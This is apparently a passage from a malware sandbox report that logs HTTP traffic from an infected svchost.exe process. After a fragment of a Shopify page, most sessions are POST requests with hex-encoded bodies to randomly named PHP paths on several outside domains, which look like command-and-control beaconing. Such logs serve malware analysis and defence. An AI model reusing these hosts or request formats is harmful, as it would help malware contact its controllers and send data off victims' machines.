                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202296019 CET6235INData Raw: 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 2f 73 2f 66 69 6c 65 73 2f 31 2f 32 31 37 38 2f 31 31 32 31 2f 74 2f 32
                                                                                                                                                                                                                                                                                                    Data Ascii: <link rel="shortcut icon" href="//cdn.shopify.com/s/files/1/2178/1121/t/26/assets/favicon.ico?v=4113819758917714220" type="image/x-icon" /> ... metadata --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compa
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202311039 CET6236INData Raw: 2e 65 6e 2e 6a 73 22 2c 22 64 79 6e 61 6d 69 63 5f 63 68 65 63 6b 6f 75 74 5f 63 61 72 74 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 2f 73 68 6f 70 69 66 79 63 6c 6f 75 64 5c 2f 70 61 79 6d
                                                                                                                                                                                                                                                                                                    Data Ascii: .en.js","dynamic_checkout_cart_url":"https:\/\/cdn.shopify.com\/shopifycloud\/payment-sheet\/assets\/latest\/dynamic-checkout-cart.en.js","locale":"en"}</script><script>(function(){if ("sendBeacon" in navigator && "performance" in window) {va
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202327967 CET6238INData Raw: 79 2e 63 6f 75 6e 74 72 79 20 3d 20 22 47 42 22 3b 0a 53 68 6f 70 69 66 79 2e 74 68 65 6d 65 20 3d 20 7b 22 6e 61 6d 65 22 3a 22 4d 69 64 64 6c 65 74 6f 6e 73 20 32 2e 31 20 28 4c 69 76 65 29 22 2c 22 69 64 22 3a 38 32 36 32 31 33 39 39 30 38 39
                                                                                                                                                                                                                                                                                                    Data Ascii: y.country = "GB";Shopify.theme = {"name":"Middletons 2.1 (Live)","id":82621399089,"theme_store_id":null,"role":"main"};Shopify.theme.handle = "null";Shopify.theme.style = {"id":null,"handle":null};Shopify.cdnHost = "cdn.shopify.com";</scri
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202343941 CET6239INData Raw: 6e 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 29 3b 0a 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 2c 20 66 61 6c 73
                                                                                                                                                                                                                                                                                                    Data Ascii: nload', asyncLoad); } else { window.addEventListener('load', asyncLoad, false); }})();</script><script id="__st">var __st={"a":21781121,"offset":0,"reqid":"8f009d09-c56c-42bd-a265-1ede9ee67f32","pageurl":"middletons.co.uk\/404","u":"
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202363014 CET6240INData Raw: 72 20 74 77 6f 4d 6f 6e 74 68 73 46 72 6f 6d 4e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 44 61 74 65 2e 6e 6f 77 28 29 29 3b 0a 20 20 20 20 20 20 74 77 6f 4d 6f 6e 74 68 73 46 72 6f 6d 4e 6f 77 2e 73 65 74 4d 6f 6e 74 68 28 74 77 6f 4d 6f 6e 74
                                                                                                                                                                                                                                                                                                    Data Ascii: r twoMonthsFromNow = new Date(Date.now()); twoMonthsFromNow.setMonth(twoMonthsFromNow.getMonth() + 2); document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow; } } var trekkie = window.ShopifyAnaly
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202380896 CET6242INData Raw: 65 28 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 76 65 6e 74 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 73 63 68 65 6d 61 5f 69 64 3a 20 73 63 68 65 6d 61 49 64 2c 0a 20 20 20 20 20 20 20 20 20 20 70 61 79 6c 6f 61 64 3a 20 70 61 79 6c 6f
                                                                                                                                                                                                                                                                                                    Data Ascii: e(); var event = { schema_id: schemaId, payload: payload, metadata: { event_created_at_ms: currentMs, event_sent_at_ms: currentMs } }; return Monorail.send
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202416897 CET6243INData Raw: 2d 31 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 3b 0a 20 20 20 20 4d 6f 6e 6f 72 61 69 6c 2e 70 72 6f 64 75 63 65 28 27 6d 6f 6e 6f 72 61 69 6c 2d 65 64 67 65 2e 73 68 6f 70 69 66 79 73 76 63 2e 63 6f 6d 27 2c 0a 20 20 20 20 20 20 27 74 72 65
                                                                                                                                                                                                                                                                                                    Data Ascii: -1; } }; Monorail.produce('monorail-edge.shopifysvc.com', 'trekkie_storefront_load_errors/1.1', {shop_id: 21781121, theme_id: 82621399089, app_name: "storefront", context_url: window.location.href,
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.202438116 CET6245INData Raw: 69 6e 63 6c 75 64 65 53 65 61 72 63 68 22 3a 74 72 75 65 7d 2c 22 53 65 73 73 69 6f 6e 20 41 74 74 72 69 62 75 74 69 6f 6e 22 3a 7b 7d 2c 22 43 75 73 74 6f 6d 65 72 20 45 76 65 6e 74 73 20 41 50 49 22 3a 7b 7d 7d 0a 20 20 29 3b 0a 0a 20 20 76 61
                                                                                                                                                                                                                                                                                                    Data Ascii: includeSearch":true},"Session Attribution":{},"Customer Events API":{}} ); var loaded = false; trekkie.ready(function() { if (loaded) return; loaded = true; window.ShopifyAnalytics.lib = window.trekkie; ga('requi


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    18192.168.2.34978067.227.226.24080C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.100788116 CET7270OUTPOST /_rn62Q.php?t=ninj1ehuy222 HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 117
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: iransun.net
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.101094007 CET7270OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    19192.168.2.349781187.141.74.380C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.535820007 CET7271OUTPOST /K6f1AG.php?t=ninj1ehuy222 HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 117
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: inicc.yucatan.gob.mx
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.536061049 CET7271OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:37.236407042 CET7272OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:37.783313036 CET7272OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:38.783346891 CET7272OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:40.783495903 CET7272OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:44.783987045 CET7272OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:52.784544945 CET7273OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    2192.168.2.3497363.223.115.18580C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.221232891 CET1212OUTPOST /2MPekR.php?a=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: ibhat.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.221489906 CET1212OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.221602917 CET1213OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.322271109 CET1213INHTTP/1.1 302 Found
                                                                                                                                                                                                                                                                                                    Cache-Control: private
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                                    Location: https://www.hugedomains.com/domain_profile.cfm?d=ibhat&e=com
                                                                                                                                                                                                                                                                                                    Server: Microsoft-IIS/8.5
                                                                                                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:34:07 GMT
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Length: 181
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 75 67 65 64 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 70 72 6f 66 69 6c 65 2e 63 66 6d 3f 64 3d 69 62 68 61 74 26 61 6d 70 3b 65 3d 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.hugedomains.com/domain_profile.cfm?d=ibhat&amp;e=com">here</a>.</h2></body></html>


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    20192.168.2.3497843.223.115.18580C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.387703896 CET7275OUTPOST /2MPekR.php?v=ninj1ehuy222 HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 117
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: ibhat.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.387772083 CET7275OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.489128113 CET7276INHTTP/1.1 302 Found
                                                                                                                                                                                                                                                                                                    Cache-Control: private
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                                    Location: https://www.hugedomains.com/domain_profile.cfm?d=ibhat&e=com
                                                                                                                                                                                                                                                                                                    Server: Microsoft-IIS/8.5
                                                                                                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:37:03 GMT
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Length: 181
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 75 67 65 64 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 70 72 6f 66 69 6c 65 2e 63 66 6d 3f 64 3d 69 62 68 61 74 26 61 6d 70 3b 65 3d 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.hugedomains.com/domain_profile.cfm?d=ibhat&amp;e=com">here</a>.</h2></body></html>


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    21192.168.2.34979281.88.57.8880C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.808336973 CET7430OUTPOST /25PzYp.php?u=ninj1ehuy222 HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 117
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: ladiabetesnoesmilimite.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Cookie: dadaproaffinity=ca40f5bdcd5d21b1022d8ca52acb2e0511772ce521dde60c4249c88675e2db45
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.808546066 CET7430OUTData Raw: 79 3d 37 36 33 37 36 35 37 66 66 62 30 38 32 31 37 66 65 62 36 34 64 30 39 62 34 63 35 38 38 35 36 32 66 65 31 37 34 66 33 64 35 32 63 33 61 65 32 33 39 65 39 65 30 33 36 39 33 32 30 32 63 34 66 34 64 37 37 33 38 63 37 34 64 37 37 65 38 36 35 30
                                                                                                                                                                                                                                                                                                    Data Ascii: y=7637657ffb08217feb64d09b4c588562fe174f3d52c3ae239e9e03693202c4f4d7738c74d77e86506f95df15bc089c4adcba961f8a08823023b
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:18.161251068 CET7430INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                    Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                                                                                                    Server: Microsoft-IIS
                                                                                                                                                                                                                                                                                                    X-Powered-By: PHP/7.2.34
                                                                                                                                                                                                                                                                                                    Link: <http://ladiabetesnoesmilimite.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                                                                    X-Powered-By: ARR/3.0
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:38:17 GMT
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Length: 15
                                                                                                                                                                                                                                                                                                    Data Raw: ef bb bf 20 20 20 20 20 20 20 20 20 34 30 34
                                                                                                                                                                                                                                                                                                    Data Ascii: 404


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    3192.168.2.34974881.88.57.8880C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.762093067 CET5972OUTPOST /25PzYp.php?h=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: ladiabetesnoesmilimite.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.762295961 CET5973OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:19.762417078 CET5973OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:23.908821106 CET5973INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                    Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                                                                                                    Server: Microsoft-IIS
                                                                                                                                                                                                                                                                                                    X-Powered-By: PHP/7.2.34
                                                                                                                                                                                                                                                                                                    Link: <http://ladiabetesnoesmilimite.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                                                                    Set-Cookie: dadaproaffinity=ca40f5bdcd5d21b1022d8ca52acb2e0511772ce521dde60c4249c88675e2db45;Path=/;Domain=ladiabetesnoesmilimite.com
                                                                                                                                                                                                                                                                                                    X-Powered-By: ARR/3.0
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:35:23 GMT
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Length: 15
                                                                                                                                                                                                                                                                                                    Data Raw: ef bb bf 20 20 20 20 20 20 20 20 20 34 30 34
                                                                                                                                                                                                                                                                                                    Data Ascii: 404


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    4192.168.2.349752103.224.212.22080C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.787245035 CET6012OUTPOST /eHafFT.php?g=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: kvnysoho.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.787432909 CET6012OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.787506104 CET6012OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:48.997423887 CET6013INHTTP/1.1 302 Found
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:35:48 GMT
                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.25 (Debian)
                                                                                                                                                                                                                                                                                                    Set-Cookie: __tad=1616495748.3184582; expires=Fri, 21-Mar-2031 10:35:48 GMT; Max-Age=315360000
                                                                                                                                                                                                                                                                                                    Location: http://ww16.kvnysoho.com/eHafFT.php?g=xl59elj25q8m&sub1=20210323-2135-485d-b268-019fa6e00b10
                                                                                                                                                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    5192.168.2.349753209.151.150.3480C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.521769047 CET6014OUTPOST /jKof_I.php?a=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
